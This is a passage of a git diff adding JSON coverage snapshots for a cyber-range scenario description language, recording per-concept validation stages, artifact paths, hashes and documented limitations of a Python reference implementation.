"examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "40c0512638859df8034ff235c0b6974a97ac8978da78b7650da94c3d449c7266", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "5a27990cc5f57cae913af6178ee33ff1bfb1af1f3eba4e98ab16aac7021890be", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "208d6bb7f2dca977c06ac6d67cd47451e091c69bd9fd334e043506e51265aa7a", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1072 participant-control contracts are covered by their dedicated API-424 regression tests. This retained language replay does not execute providers or establish runtime effect realization." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "ee943ee27fc4026af63dc5b6f59751688d707c7f", + "snapshot_id": "raes-standardized-specification-coverage-issue-1072-v36", + "snapshot_revision": "36.0.0", + "source_state": { + "base_revision": "ee943ee27fc4026af63dc5b6f59751688d707c7f", + "checkout_state": "modified", + "implementation_digest": "889f03ada3caf66a7d1637faae0937a9e48e742a874d11e1a45acbd0923e5aa4", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v37.json b/docs/research/specification-coverage/execution-snapshot-v37.json new file mode 100644 index 000000000..55ef1a0d2 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v37.json @@ -0,0 +1,698 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-20T08:45:02.189874+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": 